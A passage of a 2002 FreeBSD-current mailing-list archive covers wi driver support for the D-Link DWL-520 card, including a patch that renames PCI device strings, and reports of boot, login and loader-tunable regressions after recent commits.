bad? -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 17:17:56 2002 Delivered-To: freebsd-current@freebsd.org Received: from odin.ac.hmc.edu (Odin.AC.HMC.Edu [134.173.32.75]) by hub.freebsd.org (Postfix) with ESMTP id 74FC537B417 for ; Fri, 26 Apr 2002 17:17:51 -0700 (PDT) Received: (from brdavis@localhost) by odin.ac.hmc.edu (8.11.0/8.11.0) id g3R0Hif12232; Fri, 26 Apr 2002 17:17:44 -0700 Date: Fri, 26 Apr 2002 17:17:44 -0700 From: Brooks Davis To: ". ten tacles . ." Cc: freebsd-current@FreeBSD.ORG Subject: Re: d-link dwl520 wireless pci Message-ID: <20020426171741.A5833@Odin.AC.HMC.Edu> References: Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="fUYQa+Pmc3FrFX/N" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: ; from tentacles@mail.themuseav.com on Fri, Apr 26, 2002 at 07:44:11PM -0400 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --fUYQa+Pmc3FrFX/N Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 26, 2002 at 07:44:11PM -0400, . ten tacles . . wrote: >=20 > recently acquired a dwl520 and i was wondering > if there is freebsd support for this card. > i looked through what appeared to be the pci-support > portion of the wi driver (if_wi_pci.c ..checked out=20 > via cvs last night) and i couldn't find a definition of this card: >=20 > pci_ids[] =3D { =20 > {0x1638, 0x1100, WI_BUS_PCI_PLX, "PRISM2STA PCI WaveLAN/IEEE 802.= 11"}, > {0x1385, 0x4100, WI_BUS_PCI_PLX, "Netgear MA301 PCI IEEE 802.11b"= }, > {0x16ab, 0x1101, WI_BUS_PCI_PLX, "GLPRISM2 PCI WaveLAN/IEEE 802.1= 1"}, > {0x16ab, 0x1102, WI_BUS_PCI_PLX, "Linksys WDT11 PCI IEEE 802.11b"= }, > {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Linksys WMP11 PCI Prism2.5"}, > {0x10b7, 0x7770, WI_BUS_PCI_PLX, "3Com Airconnect IEEE 802.11b"}, > {0x111a, 0x1023, WI_BUS_PCI_PLX, "Siemens SpeedStream IEEE 802.11= b"}, > {0, 0, 0, NULL} >=20 > this may or may not be indicative of support for this card as far as i > know (which is not much regarding driver hacking). i compiled the driver > into the kernel anyways and got this on bootup: >=20 > pci0: (vendor=3D0x1260, dev=3D0x3873) at 11.0 irq 12 >=20 > so would anyone happen to know if this card is supported and if so, > is there a diff/patch/revision that i should get or procedure i should > follow?=20 If it's going to work the definition for the Linksys WMP11 will do it. It will have the wrong name in dmesg, but that doesn't do anything. This entry should be changed to reflect the fact that it's actually an Intersil Prism 2.5 ID that lazy vendors are using. -- Brooks --=20 Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 --fUYQa+Pmc3FrFX/N Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE8ye4lXY6L6fI4GtQRAkGbAJ9tQMgccY/X1ML6GzJTA/6Cc7rZGgCeOhlZ SMYmE/Xu0UV/pPJ0x2XArG4= =l9CD -----END PGP SIGNATURE----- --fUYQa+Pmc3FrFX/N-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 20:21: 6 2002 Delivered-To: freebsd-current@freebsd.org Received: from trinity.scl.ameslab.gov (trinity.scl.ameslab.gov [147.155.137.125]) by hub.freebsd.org (Postfix) with ESMTP id 675C037B405 for ; Fri, 26 Apr 2002 20:21:03 -0700 (PDT) Received: (from kparz@localhost) by trinity.scl.ameslab.gov (8.11.6/8.11.6) id g3R3Jo471174 for freebsd-current@FreeBSD.ORG; Fri, 26 Apr 2002 22:19:50 -0500 (CDT) (envelope-from kparz) Date: Fri, 26 Apr 2002 22:19:50 -0500 From: Krzysztof Parzyszek To: freebsd-current@FreeBSD.ORG Subject: login coredumps Message-ID: <20020426221950.A71040@trinity.scl.ameslab.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG At the login prompt using the arrow keys to move the cursor up and down causes login to dump core. System was cvsupped today. Krzysztof To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 20:24:55 2002 Delivered-To: freebsd-current@freebsd.org Received: from trinity.scl.ameslab.gov (trinity.scl.ameslab.gov [147.155.137.125]) by hub.freebsd.org (Postfix) with ESMTP id A6CDC37B41B for ; Fri, 26 Apr 2002 20:24:53 -0700 (PDT) Received: (from kparz@localhost) by trinity.scl.ameslab.gov (8.11.6/8.11.6) id g3R3NfZ71187 for freebsd-current@FreeBSD.ORG; Fri, 26 Apr 2002 22:23:41 -0500 (CDT) (envelope-from kparz) Date: Fri, 26 Apr 2002 22:23:41 -0500 From: Krzysztof Parzyszek To: freebsd-current@FreeBSD.ORG Subject: shutdown doesn't Message-ID: <20020426222341.B71040@trinity.scl.ameslab.gov> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It goes into background and nothing happens. Krzysztof To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 20:43:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from web11408.mail.yahoo.com (web11408.mail.yahoo.com [216.136.131.238]) by hub.freebsd.org (Postfix) with SMTP id CC69837B41B for ; Fri, 26 Apr 2002 20:43:33 -0700 (PDT) Message-ID: <20020427034333.59636.qmail@web11408.mail.yahoo.com> Received: from [203.198.2.8] by web11408.mail.yahoo.com via HTTP; Fri, 26 Apr 2002 20:43:33 PDT Date: Fri, 26 Apr 2002 20:43:33 -0700 (PDT) From: Shizuka Kudo Subject: Recent commit to sys/kern/kern_environment.c broke reading tunables To: freebsd-current@freebsd.org MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It seems the latest commit of sys/kern/kern_environment to current broke the reading of system tunables set by loader.conf. This is true at least for hw.cbb.start_mem of my cardbus bridge. With this latest commit, the hw.cbb.start_mem sysctl still shows the default value after boot up. Reverting back to version 1.22 solve my problem. Is this unique to me? Thanks. __________________________________________________ Do You Yahoo!? Yahoo! Health - your guide to health and wellness http://health.yahoo.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 20:43:45 2002 Delivered-To: freebsd-current@freebsd.org Received: from helb.tcpipbitch.net (gw.tcpipbitch.net [208.59.233.179]) by hub.freebsd.org (Postfix) with ESMTP id 9F65837B417 for ; Fri, 26 Apr 2002 20:43:28 -0700 (PDT) Received: from desktop (desktop.tcpipbitch.net [10.0.0.3]) by helb.tcpipbitch.net (Postfix) with ESMTP id 0C90B55; Fri, 26 Apr 2002 23:32:48 -0400 (EDT) From: "Jason" To: "'Brooks Davis'" , "'. ten tacles . .'" Cc: Subject: RE: d-link dwl520 wireless pci Date: Fri, 26 Apr 2002 23:33:17 -0400 Message-ID: <000e01c1ed9c$45467110$0300000a@desktop> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-reply-to: <20020426171741.A5833@Odin.AC.HMC.Edu> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG U using latest version of -current, in fact even the original 5.0 DR1 iso release supported the card, kernel needed some minor modification, but I am using the dlink dwl 520 in my box right now without any problems. And Brooks Davis was correct, with shows up as a linksys device on my machines. If the original poster wants, I can send him my kernal config file, but I think I really only had to add options card which I think was commented out, not too sure, it was a while back, and I had a lot of other issues with the kernels and the machine taking a huge dump to panic mode a lot on some other things, like smbfs and smp. Snippet of dmesg below. wi0: mem 0xfb800000-0xfb800fff irq 2 at device 10.0 on pci0 wi0: 802.11 address: 00:05:5d:da:5f:47 wi0: using RF:PRISM2.5 MAC:ISL3874A(Mini-PCI) wi0: Intersil Firmware: Primary 1.00.07, Station 1.03.05 -----Original Message----- From: owner-freebsd-current@FreeBSD.ORG [mailto:owner-freebsd-current@FreeBSD.ORG] On Behalf Of Brooks Davis Sent: Friday, April 26, 2002 8:18 PM To: . ten tacles . . Cc: freebsd-current@FreeBSD.ORG Subject: Re: d-link dwl520 wireless pci On Fri, Apr 26, 2002 at 07:44:11PM -0400, . ten tacles . . wrote: > > recently acquired a dwl520 and i was wondering > if there is freebsd support for this card. > i looked through what appeared to be the pci-support > portion of the wi driver (if_wi_pci.c ..checked out > via cvs last night) and i couldn't find a definition of this card: > > pci_ids[] = { > {0x1638, 0x1100, WI_BUS_PCI_PLX, "PRISM2STA PCI WaveLAN/IEEE 802.11"}, > {0x1385, 0x4100, WI_BUS_PCI_PLX, "Netgear MA301 PCI IEEE 802.11b"}, > {0x16ab, 0x1101, WI_BUS_PCI_PLX, "GLPRISM2 PCI WaveLAN/IEEE 802.11"}, > {0x16ab, 0x1102, WI_BUS_PCI_PLX, "Linksys WDT11 PCI IEEE 802.11b"}, > {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Linksys WMP11 PCI Prism2.5"}, > {0x10b7, 0x7770, WI_BUS_PCI_PLX, "3Com Airconnect IEEE 802.11b"}, > {0x111a, 0x1023, WI_BUS_PCI_PLX, "Siemens SpeedStream IEEE 802.11b"}, > {0, 0, 0, NULL} > > this may or may not be indicative of support for this card as far as i > know (which is not much regarding driver hacking). i compiled the > driver into the kernel anyways and got this on bootup: > > pci0: (vendor=0x1260, dev=0x3873) at 11.0 irq 12 > > so would anyone happen to know if this card is supported and if so, is > there a diff/patch/revision that i should get or procedure i should > follow? If it's going to work the definition for the Linksys WMP11 will do it. It will have the wrong name in dmesg, but that doesn't do anything. This entry should be changed to reflect the fact that it's actually an Intersil Prism 2.5 ID that lazy vendors are using. -- Brooks -- Any statement of the form "X is the one, true Y" is FALSE. PGP fingerprint 655D 519C 26A7 82E7 2529 9BF0 5D8E 8BE9 F238 1AD4 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 20:51:36 2002 Delivered-To: freebsd-current@freebsd.org Received: from citusc17.usc.edu (citusc17.usc.edu [128.125.38.177]) by hub.freebsd.org (Postfix) with ESMTP id DEF5437B404; Fri, 26 Apr 2002 20:51:31 -0700 (PDT) Received: from citusc17.usc.edu (kris@localhost [127.0.0.1]) by citusc17.usc.edu (8.11.6/8.11.4) with ESMTP id g3R3pVu34150; Fri, 26 Apr 2002 20:51:31 -0700 (PDT) (envelope-from kris@citusc17.usc.edu) Received: (from kris@localhost) by citusc17.usc.edu (8.12.3/8.12.3/Submit) id g3R3pTIF034147; Fri, 26 Apr 2002 20:51:29 -0700 (PDT) Date: Fri, 26 Apr 2002 20:51:29 -0700 From: Kris Kennaway To: Poul-Henning Kamp Cc: current@FreeBSD.org Subject: Re: cvs commit: src/sys/kern kern_tc.c src/sys/sys timepps.h timetc.h Message-ID: <20020426205129.A34126@citusc17.usc.edu> References: <200204262151.g3QLp8m26766@freefall.freebsd.org> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="IJpNTDwzlM2Ie8A6" Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <200204262151.g3QLp8m26766@freefall.freebsd.org>; from phk@FreeBSD.org on Fri, Apr 26, 2002 at 02:51:08PM -0700 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --IJpNTDwzlM2Ie8A6 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Fri, Apr 26, 2002 at 02:51:08PM -0700, Poul-Henning Kamp wrote: > phk 2002/04/26 14:51:08 PDT >=20 > Modified files: > sys/kern kern_tc.c=20 > sys/sys timepps.h timetc.h=20 > Log: This commit causes the bento package cluster to hang at boot time: [...] Timecounters tick every 10.000 msec ad0: 29314MB [59560/16/63] at ata0-master UDMA66 Mounting root from nfs: And it hangs there forever. Backing out this commit fixes things. Kris --IJpNTDwzlM2Ie8A6 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE8yiBAWry0BWjoQKURAsaZAKDu7/gStvYMYkwO3xX/Jkn1n7cfYgCg+G/3 lSjPPYBPd3MeJ+oBHgYAID8= =uJbo -----END PGP SIGNATURE----- --IJpNTDwzlM2Ie8A6-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 21:24:28 2002 Delivered-To: freebsd-current@freebsd.org Received: from mail.speakeasy.net (mail12.speakeasy.net [216.254.0.212]) by hub.freebsd.org (Postfix) with ESMTP id 14AE737B41C for ; Fri, 26 Apr 2002 21:24:21 -0700 (PDT) Received: (qmail 12135 invoked from network); 27 Apr 2002 04:24:19 -0000 Received: from unknown (HELO server.baldwin.cx) ([216.27.160.63]) (envelope-sender ) by mail12.speakeasy.net (qmail-ldap-1.03) with DES-CBC3-SHA encrypted SMTP for ; 27 Apr 2002 04:24:19 -0000 Received: from laptop.baldwin.cx (laptop.baldwin.cx [192.168.0.4]) by server.baldwin.cx (8.11.6/8.11.6) with ESMTP id g3R4OIv16707; Sat, 27 Apr 2002 00:24:18 -0400 (EDT) (envelope-from jhb@FreeBSD.org) Message-ID: X-Mailer: XFMail 1.5.2 on FreeBSD X-Priority: 3 (Normal) Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit MIME-Version: 1.0 In-Reply-To: <20020427034333.59636.qmail@web11408.mail.yahoo.com> Date: Sat, 27 Apr 2002 00:23:32 -0400 (EDT) From: John Baldwin To: Shizuka Kudo Subject: RE: Recent commit to sys/kern/kern_environment.c broke reading t Cc: freebsd-current@freebsd.org Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On 27-Apr-2002 Shizuka Kudo wrote: > It seems the latest commit of > sys/kern/kern_environment to current broke the reading > of system tunables set by loader.conf. This is true at > least for hw.cbb.start_mem of my cardbus bridge. With > this latest commit, the hw.cbb.start_mem sysctl still > shows the default value after boot up. > > Reverting back to version 1.22 solve my problem. Is > this unique to me? No, it seems to be broken for all environment variables on alpha. -- John Baldwin <>< http://www.FreeBSD.org/~jhb/ "Power Users Use the Power to Serve!" - http://www.FreeBSD.org/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Fri Apr 26 23: 5:11 2002 Delivered-To: freebsd-current@freebsd.org Received: from mta06bw.bigpond.com (mta06bw.bigpond.com [139.134.6.96]) by hub.freebsd.org (Postfix) with ESMTP id C8F7B37B405; Fri, 26 Apr 2002 23:05:03 -0700 (PDT) Received: from CPE-61-9-164-106.vic.bigpond.net.au ([144.135.24.87]) by mta06bw.bigpond.com (Netscape Messaging Server 4.15 mta06bw Feb 26 2002 03:44:21) with SMTP id GV7Q8D00.5HZ; Sat, 27 Apr 2002 16:05:01 +1000 Received: from CPE-144-137-6-191.vic.bigpond.net.au ([144.137.6.191]) by bwmam07.mailsvc.email.bigpond.com(MailRouter V3.0l 56/2155862); 27 Apr 2002 16:05:01 Received: (from root@localhost) by CPE-61-9-164-106.vic.bigpond.net.au (8.11.0/8.11.0) id g3R61nO04796; Sat, 27 Apr 2002 16:01:49 +1000 From: Darren Reed Message-Id: <200204270601.QAA12114@avalon.reed.wattle.id.au> Subject: Re: ipfilter not broken for me In-Reply-To: <20020426134230.D77133-100000@zoot.corp.yahoo.com> from Doug Barton at "Apr 26, 2 01:44:46 pm" To: DougB@FreeBSD.org (Doug Barton) Date: Sat, 27 Apr 2002 16:01:28 +1000 Cc: ru@FreeBSD.org, current@FreeBSD.org, cvs-committers@FreeBSD.org, cvs-all@FreeBSD.org X-Mailer: ELM [version 2.4ME+ PL37 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In some email I received from Doug Barton, sie wrote: > On Fri, 26 Apr 2002, Ruslan Ermilov wrote: > > > I tested this on i386 only with 2 days old -CURRENT (today's is > > broken due to the import of latest IPFilter suite) > > I updated to the latest and greatest last night around midnight > and built/installed -current just fine. What about the ipfilter import is > broken, and have you let Darren know? I haven't seen anything on the lists > about it... I have not received any email about it. I tested building all the ipfilter binaries and kernel after the import and came up clean. if ref5 was a bit quicker.... Darren To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 0: 3:44 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 7B9DB37B405; Sat, 27 Apr 2002 00:03:35 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3R73YH01108; Sat, 27 Apr 2002 01:03:34 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3R73Tb56724; Sat, 27 Apr 2002 01:03:33 -0600 (MDT) (envelope-from imp@village.org) Date: Sat, 27 Apr 2002 01:03:00 -0600 (MDT) Message-Id: <20020427.010300.59345292.imp@village.org> To: jhb@FreeBSD.ORG Cc: shizukakudo_99@yahoo.com, freebsd-current@FreeBSD.ORG Subject: Re: Recent commit to sys/kern/kern_environment.c broke reading t From: "M. Warner Losh" In-Reply-To: References: <20020427034333.59636.qmail@web11408.mail.yahoo.com> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: John Baldwin writes: : : On 27-Apr-2002 Shizuka Kudo wrote: : > It seems the latest commit of : > sys/kern/kern_environment to current broke the reading : > of system tunables set by loader.conf. This is true at : > least for hw.cbb.start_mem of my cardbus bridge. With : > this latest commit, the hw.cbb.start_mem sysctl still : > shows the default value after boot up. : > : > Reverting back to version 1.22 solve my problem. Is : > this unique to me? : : No, it seems to be broken for all environment variables : on alpha. It is busted for me as well. I had some not too nice words to say when I discovered that :-( Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 0: 8:17 2002 Delivered-To: freebsd-current@freebsd.org Received: from rover.village.org (rover.bsdimp.com [204.144.255.66]) by hub.freebsd.org (Postfix) with ESMTP id 690C937B430 for ; Sat, 27 Apr 2002 00:08:03 -0700 (PDT) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.11.3/8.11.3) with ESMTP id g3R782H01137; Sat, 27 Apr 2002 01:08:02 -0600 (MDT) (envelope-from imp@village.org) Received: from localhost (warner@rover2.village.org [10.0.0.1]) by harmony.village.org (8.11.6/8.11.6) with ESMTP id g3R780b56768; Sat, 27 Apr 2002 01:08:01 -0600 (MDT) (envelope-from imp@village.org) Date: Sat, 27 Apr 2002 01:07:37 -0600 (MDT) Message-Id: <20020427.010737.110481017.imp@village.org> To: brooks@one-eyed-alien.net Cc: tentacles@mail.themuseav.com, freebsd-current@FreeBSD.ORG Subject: Re: d-link dwl520 wireless pci From: "M. Warner Losh" In-Reply-To: <20020426171741.A5833@Odin.AC.HMC.Edu> References: <20020426171741.A5833@Odin.AC.HMC.Edu> X-Mailer: Mew version 2.1 on Emacs 21.1 / Mule 5.0 (SAKAKI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In message: <20020426171741.A5833@Odin.AC.HMC.Edu> Brooks Davis writes: : If it's going to work the definition for the Linksys WMP11 will do it. : It will have the wrong name in dmesg, but that doesn't do anything. : This entry should be changed to reflect the fact that it's actually an : Intersil Prism 2.5 ID that lazy vendors are using. Comments on the following patch? It removes the extra IEEE 802.11 stuff (which is noise since wi is an 802.11b driver :-) and changes Linksys WMP11 to the more generic Intersil Prism2.5 PCI. Warner Index: if_wi_pci.c =================================================================== RCS file: /home/imp/FreeBSD/CVS/src/sys/dev/wi/if_wi_pci.c,v retrieving revision 1.5 diff -u -r1.5 if_wi_pci.c --- if_wi_pci.c 14 Apr 2002 22:08:58 -0000 1.5 +++ if_wi_pci.c 27 Apr 2002 07:06:57 -0000 @@ -94,13 +94,13 @@ int bus_type; char *desc; } pci_ids[] = { - {0x1638, 0x1100, WI_BUS_PCI_PLX, "PRISM2STA PCI WaveLAN/IEEE 802.11"}, - {0x1385, 0x4100, WI_BUS_PCI_PLX, "Netgear MA301 PCI IEEE 802.11b"}, - {0x16ab, 0x1101, WI_BUS_PCI_PLX, "GLPRISM2 PCI WaveLAN/IEEE 802.11"}, - {0x16ab, 0x1102, WI_BUS_PCI_PLX, "Linksys WDT11 PCI IEEE 802.11b"}, - {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Linksys WMP11 PCI Prism2.5"}, - {0x10b7, 0x7770, WI_BUS_PCI_PLX, "3Com Airconnect IEEE 802.11b"}, - {0x111a, 0x1023, WI_BUS_PCI_PLX, "Siemens SpeedStream IEEE 802.11b"}, + {0x1638, 0x1100, WI_BUS_PCI_PLX, "PRISM2STA PCI WaveLAN"}, + {0x1385, 0x4100, WI_BUS_PCI_PLX, "Netgear MA301 PCI"}, + {0x16ab, 0x1101, WI_BUS_PCI_PLX, "GLPRISM2 PCI WaveLAN"}, + {0x16ab, 0x1102, WI_BUS_PCI_PLX, "Linksys WDT11 PCI"}, + {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Intersil Prism2.5 PCI"}, + {0x10b7, 0x7770, WI_BUS_PCI_PLX, "3Com Airconnect"}, + {0x111a, 0x1023, WI_BUS_PCI_PLX, "Siemens SpeedStream"}, {0, 0, 0, NULL} }; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 1:15:29 2002 Delivered-To: freebsd-current@freebsd.org Received: from helb.tcpipbitch.net (gw.tcpipbitch.net [208.59.233.179]) by hub.freebsd.org (Postfix) with ESMTP id A305B37B417 for ; Sat, 27 Apr 2002 01:15:23 -0700 (PDT) Received: from desktop (desktop.tcpipbitch.net [10.0.0.3]) by helb.tcpipbitch.net (Postfix) with ESMTP id 118DE54; Sat, 27 Apr 2002 04:05:56 -0400 (EDT) From: "Jason" To: "'M. Warner Losh'" Cc: Subject: RE: d-link dwl520 wireless pci Date: Sat, 27 Apr 2002 04:06:27 -0400 Message-ID: <020901c1edc2$6e876590$0300000a@desktop> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: <20020427.010737.110481017.imp@village.org> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Seems to be working just fine, appropriate portion of dmesg wi0: mem 0xfb800000-0xfb800fff irq 2 at device 10.0 on pci0 wi0: 802.11 address: 00:05:5d:da:5f:47 wi0: using RF:PRISM2.5 MAC:ISL3874A(Mini-PCI) wi0: Intersil Firmware: Primary 1.00.07, Station 1.03.05 Kinda unrelated I think.. But dunno it just started happening after I ran the patch and recompiled... I have numerous machines, all 10.0.0.x and a wireless networks 10.0.x.x .... My rl0 card has decided it won't talk to .4 and the .4 machine won't talk to the .2 machine, but both of the machines will talk to the rest of the network just fine (note I did do a cvsup just before I ran your patch). After about 5 to 10 min they start talking just fine.. No user interferance.. They just start to work.. Dunno.. Prolly under wrong thread... But I figured I would throw it out there anyways. However the wireless network works great, well no real diff as far as I can tell. Jason -----Original Message----- From: owner-freebsd-current@FreeBSD.ORG [mailto:owner-freebsd-current@FreeBSD.ORG] On Behalf Of M. Warner Losh Sent: Saturday, April 27, 2002 3:08 AM To: brooks@one-eyed-alien.net Cc: tentacles@mail.themuseav.com; freebsd-current@FreeBSD.ORG Subject: Re: d-link dwl520 wireless pci In message: <20020426171741.A5833@Odin.AC.HMC.Edu> Brooks Davis writes: : If it's going to work the definition for the Linksys WMP11 will do it. : It will have the wrong name in dmesg, but that doesn't do anything. : This entry should be changed to reflect the fact that it's actually an : Intersil Prism 2.5 ID that lazy vendors are using. Comments on the following patch? It removes the extra IEEE 802.11 stuff (which is noise since wi is an 802.11b driver :-) and changes Linksys WMP11 to the more generic Intersil Prism2.5 PCI. Warner Index: if_wi_pci.c =================================================================== RCS file: /home/imp/FreeBSD/CVS/src/sys/dev/wi/if_wi_pci.c,v retrieving revision 1.5 diff -u -r1.5 if_wi_pci.c --- if_wi_pci.c 14 Apr 2002 22:08:58 -0000 1.5 +++ if_wi_pci.c 27 Apr 2002 07:06:57 -0000 @@ -94,13 +94,13 @@ int bus_type; char *desc; } pci_ids[] = { - {0x1638, 0x1100, WI_BUS_PCI_PLX, "PRISM2STA PCI WaveLAN/IEEE 802.11"}, - {0x1385, 0x4100, WI_BUS_PCI_PLX, "Netgear MA301 PCI IEEE 802.11b"}, - {0x16ab, 0x1101, WI_BUS_PCI_PLX, "GLPRISM2 PCI WaveLAN/IEEE 802.11"}, - {0x16ab, 0x1102, WI_BUS_PCI_PLX, "Linksys WDT11 PCI IEEE 802.11b"}, - {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Linksys WMP11 PCI Prism2.5"}, - {0x10b7, 0x7770, WI_BUS_PCI_PLX, "3Com Airconnect IEEE 802.11b"}, - {0x111a, 0x1023, WI_BUS_PCI_PLX, "Siemens SpeedStream IEEE 802.11b"}, + {0x1638, 0x1100, WI_BUS_PCI_PLX, "PRISM2STA PCI WaveLAN"}, + {0x1385, 0x4100, WI_BUS_PCI_PLX, "Netgear MA301 PCI"}, + {0x16ab, 0x1101, WI_BUS_PCI_PLX, "GLPRISM2 PCI WaveLAN"}, + {0x16ab, 0x1102, WI_BUS_PCI_PLX, "Linksys WDT11 PCI"}, + {0x1260, 0x3873, WI_BUS_PCI_NATIVE, "Intersil Prism2.5 PCI"}, + {0x10b7, 0x7770, WI_BUS_PCI_PLX, "3Com Airconnect"}, + {0x111a, 0x1023, WI_BUS_PCI_PLX, "Siemens SpeedStream"}, {0, 0, 0, NULL} }; To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Apr 27 2: 2: 3 2002 Delivered-To: freebsd-current@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 741E337B417; Sat, 27 Apr 2002 02:01:59 -0700 (PDT) Received: by flood.ping.uio.no (Postfix, from userid 2602) id DE60F5346; Sat, 27 Apr 2002 11:01:56 +0200 (CEST) X-URL: http://www.ofug.org/~des/ X-Disclaimer: The views expressed in this message do not necessarily coincide with those of any organisation or company with which I am or have been affiliated. To: John Baldwin Cc: current@FreeBSD.org Subject: Re: xdm broken on current References: From: Dag-Erling Smorgrav Date: 27 Apr 2002 11:01:55 +0200 In-Reply-To: Message-ID: 